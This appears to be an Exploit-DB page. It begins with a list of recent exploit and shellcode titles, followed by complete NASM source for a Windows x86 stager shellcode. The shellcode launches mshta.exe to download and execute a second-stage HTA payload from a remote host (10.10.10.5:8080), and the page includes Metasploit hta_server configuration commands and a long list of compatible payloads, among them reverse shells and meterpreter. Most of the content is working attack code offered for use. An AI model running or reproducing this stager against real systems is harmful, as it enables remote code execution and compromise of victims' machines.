
95 changes to exploits/shellcodes Product Key Explorer 4.2.7 - 'multiple' Denial of Service (PoC) Managed Switch Port Mapping Tool 2.85.2 - Denial of Service (PoC) AgataSoft PingMaster Pro 2.1 - Denial of Service (PoC) Nsauditor 3.2.2.0 - 'Event Description' Denial of Service (PoC) WordPress Plugin WPGraphQL 1.3.5 - Denial of Service Sandboxie 5.49.7 - Denial of Service (PoC) WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC) iDailyDiary 4.30 - Denial of Service (PoC) RarmaRadio 2.72.8 - Denial of Service (PoC) DupTerminator 1.4.5639.37199 - Denial of Service (PoC) Color Notes 1.4 - Denial of Service (PoC) Macaron Notes great notebook 5.5 - Denial of Service (PoC) My Notes Safe 5.3 - Denial of Service (PoC) n+otes 1.6.2 - Denial of Service (PoC) Telegram Desktop 2.9.2 - Denial of Service (PoC) Mini-XML 3.2 - Heap Overflow Solaris 10 (Intel) - 'dtprintinfo' Local Privilege Escalation (2) Solaris 10 (Intel) - 'dtprintinfo' Local Privilege Escalation (3) Solaris 10 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1) Solaris 10 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2) MariaDB 10.2 - 'wsrep_provider' OS Command Execution Microsoft Internet Explorer 11 and WPAD service 'Jscript.dll' - Use-After-Free Visual Studio Code 1.47.1 - Denial of Service (PoC) DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE) MySQL User-Defined (Linux) x32 / x86_64 - 'sys_exec' Local Privilege Escalation (2) Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial of Service (PoC) GNU Wget < 1.18 - Arbitrary File Upload (2) WebCTRL OEM 6.5 - 'locale' Reflected Cross-Site Scripting (XSS) E-Learning System 1.0 - Authentication Bypass PEEL Shopping 9.3.0 - 'Comments' Persistent Cross-Site Scripting GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Persistent Cross-Site Scripting Selea Targa 512 IP OCR-ANPR Camera - Stream Disclosure (Unauthenticated) Library System 1.0 - Authentication Bypass Web Based Quiz System 1.0 - 'name' Persistent Cross-Site Scripting Dolibarr ERP 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE) GetSimple CMS My SMTP Contact Plugin 1.1.1 - Cross-Site Request Forgery GravCMS 1.10.7 - Unauthenticated Arbitrary File Write (Metasploit) Umbraco v8.14.1 - 'baseUrl' SSRF Cacti 1.2.12 - 'filter' SQL Injection GetSimple CMS Custom JS 0.1 - Cross-Site Request Forgery Internship Portal Management System 1.0 - Remote Code Execution(Unauthenticated) Markdown Explorer 0.1.1 - Persistent Cross-Site Scripting Xmind 2020 - Persistent Cross-Site Scripting Tagstoo 2.0.1 - Persistent Cross-Site Scripting SnipCommand 0.1.0 - Persistent Cross-Site Scripting Moeditor 0.2.0 - Persistent Cross-Site Scripting Marky 0.0.1 - Persistent Cross-Site Scripting StudyMD 0.3.2 - Persistent Cross-Site Scripting Freeter 1.2.1 - Persistent Cross-Site Scripting Markright 1.0 - Persistent Cross-Site Scripting Markdownify 1.2.0 - Persistent Cross-Site Scripting Anote 1.0 - Persistent Cross-Site Scripting Subrion CMS 4.2.1 - Arbitrary File Upload Printable Staff ID Card Creator System 1.0 - 'email' SQL Injection Schlix CMS 2.2.6-6 - Arbitary File Upload (Authenticated) Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver) CHIYU IoT Devices - Denial of Service (DoS) Zenario CMS 8.8.52729 - 'cID' SQL injection (Authenticated) TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated) WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 - Directory Traversal Atlassian Jira Server Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS) Scratch Desktop 3.17 - Remote Code Execution Church Management System 1.0 - Arbitrary File Upload (Authenticated) Phone Shop Sales Managements System 1.0 - Arbitrary File Upload Zoo Management System 1.0 - 'Multiple' Persistent Cross-Site-Scripting (XSS) WordPress Plugin Current Book 1.0.1 - 'Book Title' Persistent Cross-Site Scripting ForgeRock Access Manager 14.6.3 - Remote Code Execution (RCE) (Unauthenticated) KevinLAB BEMS 1.0 - Authentication Bypass Event Registration System with QR Code 1.0 - Authentication Bypass CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) Panasonic Sanyo CCTV Network Camera 2.03-0x - Cross-Site Request Forgery (Change Password) qdPM 9.2 - Password Exposure (Unauthenticated) ApacheOfBiz 17.12.01 - Remote Command Execution (RCE) Movable Type 7 r.5002 - XMLRPC API OS Command Injection (Metasploit) GeoVision Geowebserver 5.3.3 - Local FIle Inclusion Simple Phone Book 1.0 - 'Username' SQL Injection (Unauthenticated) Umbraco CMS 8.9.1 - Directory Traversal Traffic Offense Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated) Dolibarr ERP 14.0.1 - Privilege Escalation Compro Technology IP Camera - 'killps.cgi' Denial of Service (DoS) Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalation Phpwcms 1.9.30 - Arbitrary File Upload Windows/x86 - Download File (http://10.10.10.5:8080/2NWyfQ9T.hta) Via mshta + Execute + Stager Shellcode (143 bytes) Linux/x64 - Bind_tcp (0.0.0.0:4444) + Password (12345678) + Shell (/bin/sh) Shellcode (142 bytes) Linux/x64 - execve _cat /etc/shadow_ Shellcode (66 bytes) Windows/x86 - Add User Alfred to Administrators/Remote Desktop Users Group Shellcode (240 bytes) Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes) Windows/x64 - Dynamic NoNull Add RDP Admin (BOKU:SP3C1ALM0V3) Shellcode (387 Bytes) Linux/x86 - setreuid(0) + execve(_/bin/sh_) Shellcode (29 bytes) Linux/x86 - Bind (User Specified Port) Shell (/bin/sh) Shellcode (102 bytes) Linux/x86 - Reverse (dynamic IP and port/TCP) Shell (/bin/sh) Shellcode (86 bytes) Linux/x86 - Egghunter Reverse TCP Shell dynamic IP and port Shellcode Windows/x86 - WinExec PopCalc PEB & Export Directory Table NullFree Dynamic Shellcode (178 bytes) Windows/x86 - MessageBoxA PEB & Export Address Table NullFree/Dynamic Shellcode (230 bytes)
185 lines
No EOL
6.2 KiB
NASM
185 lines
No EOL
6.2 KiB
NASM
# Exploit Title: Windows/x86 - Stager Generic MSHTA Shellcode (143 bytes)
|
|
# Exploit Author: Armando Huesca Prida
|
|
# Date: 11-01-2021
|
|
# Tested on: Windows 7 Professional 6.1.7601 SP1 Build 7601 (x86)
|
|
# Windows Vista Ultimate 6.0.6002 SP2 Build 6002 (x86)
|
|
# Windows Server 2003 Enterprise Edition 5.2.3790 SP1 Build 3790 (x86)
|
|
|
|
## Description: Windows x86 Shellcode that uses mshta.exe binary to execute a second stage payload delivered through metasploit's hta_server exploit. This shellcode uses JMP/CALL/POP technic and static kernel32.dll functions addresses.
|
|
|
|
## Metasploit compatible payload list:
|
|
|
|
# generic/custom
|
|
# generic/debug_trap
|
|
# generic/shell_bind_tcp
|
|
# generic/shell_reverse_tcp
|
|
# generic/tight_loop
|
|
# windows/dllinject/bind_hidden_ipknock_tcp
|
|
# windows/dllinject/bind_hidden_tcp
|
|
# windows/dllinject/bind_ipv6_tcp
|
|
# windows/dllinject/bind_ipv6_tcp_uuid
|
|
# windows/dllinject/bind_named_pipe
|
|
# windows/dllinject/bind_nonx_tcp
|
|
# windows/dllinject/bind_tcp
|
|
# windows/dllinject/bind_tcp_rc4
|
|
# windows/dllinject/bind_tcp_uuid
|
|
# windows/dllinject/reverse_hop_http
|
|
# windows/dllinject/reverse_http
|
|
# windows/dllinject/reverse_http_proxy_pstore
|
|
# windows/dllinject/reverse_ipv6_tcp
|
|
# windows/dllinject/reverse_nonx_tcp
|
|
# windows/dllinject/reverse_ord_tcp
|
|
# windows/dllinject/reverse_tcp
|
|
# windows/dllinject/reverse_tcp_allports
|
|
# windows/dllinject/reverse_tcp_dns
|
|
# windows/dllinject/reverse_tcp_rc4
|
|
# windows/dllinject/reverse_tcp_rc4_dns
|
|
# windows/dllinject/reverse_tcp_uuid
|
|
# windows/dllinject/reverse_winhttp
|
|
# windows/dns_txt_query_exec
|
|
# windows/download_exec
|
|
# windows/exec
|
|
# windows/loadlibrary
|
|
# windows/messagebox
|
|
# windows/meterpreter/bind_hidden_ipknock_tcp
|
|
# windows/meterpreter/bind_hidden_tcp
|
|
# windows/meterpreter/bind_ipv6_tcp
|
|
# windows/meterpreter/bind_ipv6_tcp_uuid
|
|
# windows/meterpreter/bind_named_pipe
|
|
# windows/meterpreter/bind_nonx_tcp
|
|
# windows/meterpreter/bind_tcp
|
|
# windows/meterpreter/bind_tcp_rc4
|
|
# windows/meterpreter/bind_tcp_uuid
|
|
# windows/meterpreter/reverse_hop_http
|
|
# windows/meterpreter/reverse_http
|
|
# windows/meterpreter/reverse_http_proxy_pstore
|
|
# windows/meterpreter/reverse_https
|
|
# windows/meterpreter/reverse_https_proxy
|
|
# windows/meterpreter/reverse_ipv6_tcp
|
|
# windows/meterpreter/reverse_named_pipe
|
|
# windows/meterpreter/reverse_nonx_tcp
|
|
# windows/meterpreter/reverse_ord_tcp
|
|
# windows/meterpreter/reverse_tcp
|
|
# windows/meterpreter/reverse_tcp_allports
|
|
# windows/meterpreter/reverse_tcp_dns
|
|
# windows/meterpreter/reverse_tcp_rc4
|
|
# windows/meterpreter/reverse_tcp_rc4_dns
|
|
# windows/meterpreter/reverse_tcp_uuid
|
|
# windows/meterpreter/reverse_winhttp
|
|
# windows/meterpreter/reverse_winhttps
|
|
# windows/metsvc_bind_tcp
|
|
# windows/metsvc_reverse_tcp
|
|
# windows/patchupdllinject/bind_hidden_ipknock_tcp
|
|
# windows/patchupdllinject/bind_hidden_tcp
|
|
# windows/patchupdllinject/bind_ipv6_tcp
|
|
# windows/patchupdllinject/bind_ipv6_tcp_uuid
|
|
# windows/patchupdllinject/bind_named_pipe
|
|
# windows/patchupdllinject/bind_nonx_tcp
|
|
# windows/patchupdllinject/bind_tcp
|
|
# windows/patchupdllinject/bind_tcp_rc4
|
|
# windows/patchupdllinject/bind_tcp_uuid
|
|
# windows/patchupdllinject/reverse_ipv6_tcp
|
|
# windows/patchupdllinject/reverse_nonx_tcp
|
|
# windows/patchupdllinject/reverse_ord_tcp
|
|
# windows/patchupdllinject/reverse_tcp
|
|
# windows/patchupdllinject/reverse_tcp_allports
|
|
# windows/patchupdllinject/reverse_tcp_dns
|
|
# windows/patchupdllinject/reverse_tcp_rc4
|
|
# windows/patchupdllinject/reverse_tcp_rc4_dns
|
|
# windows/patchupdllinject/reverse_tcp_uuid
|
|
# windows/patchupmeterpreter/bind_hidden_ipknock_tcp
|
|
# windows/patchupmeterpreter/bind_hidden_tcp
|
|
# windows/patchupmeterpreter/bind_ipv6_tcp
|
|
# windows/patchupmeterpreter/bind_ipv6_tcp_uuid
|
|
# windows/patchupmeterpreter/bind_named_pipe
|
|
# windows/patchupmeterpreter/bind_nonx_tcp
|
|
# windows/patchupmeterpreter/bind_tcp
|
|
# windows/patchupmeterpreter/bind_tcp_rc4
|
|
# windows/patchupmeterpreter/bind_tcp_uuid
|
|
# windows/patchupmeterpreter/reverse_ipv6_tcp
|
|
# windows/patchupmeterpreter/reverse_nonx_tcp
|
|
# windows/patchupmeterpreter/reverse_ord_tcp
|
|
# windows/patchupmeterpreter/reverse_tcp
|
|
# windows/patchupmeterpreter/reverse_tcp_allports
|
|
|
|
|
|
# "hta_server" exploit payloads setting example:
|
|
|
|
# msf6 > use exploit/windows/misc/hta_server (exploit for second stage payload delivery)
|
|
# msf6 exploit(windows/misc/hta_server) > set payload windows/exec (a payload from the previously specified list)
|
|
# msf6 exploit(windows/misc/hta_server) > set uripath 2NWyfQ9T.hta (a static value for URIPATH)
|
|
# msf6 exploit(windows/misc/hta_server) > set CMD calc.exe (command to be executed ex: calc.exe binary)
|
|
# msf6 exploit(windows/misc/hta_server) > run (second stage delivery server execution)
|
|
|
|
|
|
# Shellcode considerations:
|
|
|
|
# Function address of CreateProcessA in kernel32.dll: 0x75732082
|
|
# Function address of ExitProcess in kernel32.dll: 0x7578214f
|
|
# Size in bytes of message db parameter, 65 bytes -> 0x41 hex
|
|
# Message db contains a strings with the static path windows location of mshta.exe binary and the url obtained from hta_server exploit
|
|
|
|
|
|
# Assembly Shellcode:
|
|
|
|
|
|
|
|
global _start
|
|
|
|
section .text
|
|
|
|
_start:
|
|
jmp application
|
|
|
|
firststep:
|
|
pop edi
|
|
xor eax, eax
|
|
mov [edi+65], al ; size in bytes of message db parameter
|
|
|
|
StartUpInfoANDProcessInformation:
|
|
|
|
push eax ; hStderror null in this case
|
|
push eax ; hStdOutput, null
|
|
push eax ; hStdInput, null
|
|
xor ebx, ebx
|
|
xor ecx, ecx
|
|
add cl, 0x12 ; 18 times loop to fill both structures.
|
|
|
|
looper:
|
|
push ebx
|
|
loop looper
|
|
|
|
;mov word [esp+0x3c], 0x0101 ; dwflag arg in startupinfo
|
|
mov bx, 0x1111
|
|
sub bx, 0x1010
|
|
mov word [esp+0x3c], bx
|
|
mov byte [esp+0x10], 0x44 ; cb=0x44
|
|
lea eax, [esp+0x10] ; eax points to StartUpInfo
|
|
|
|
; eax has a pointer to StartUPinfo
|
|
; esp has a pointer to Process_Info containing null values
|
|
createprocessA:
|
|
push esp ; pointer to Process-Info
|
|
push eax ; pointer to StartUpInfo
|
|
xor ebx, ebx
|
|
push ebx ; null
|
|
push ebx ; null
|
|
push ebx ; null
|
|
inc ebx
|
|
push ebx ; bInheritHandles=true
|
|
dec ebx
|
|
push ebx ; null
|
|
push ebx ; null
|
|
push edi ; pointer to message db string
|
|
push ebx ; null
|
|
mov edx, 0x75732082 ; CreateProcessA addr in kernel32.dll
|
|
call edx
|
|
|
|
ExitProcess:
|
|
push eax ; createprocessA return in eax
|
|
mov edx, 0x7578214f ; ExitProcess addr in kernel32.dll
|
|
call edx
|
|
|
|
application:
|
|
call firststep
|
|
message db "c:\windows\system32\mshta.exe http://10.10.10.5:8080/2NWyfQ9T.hta" |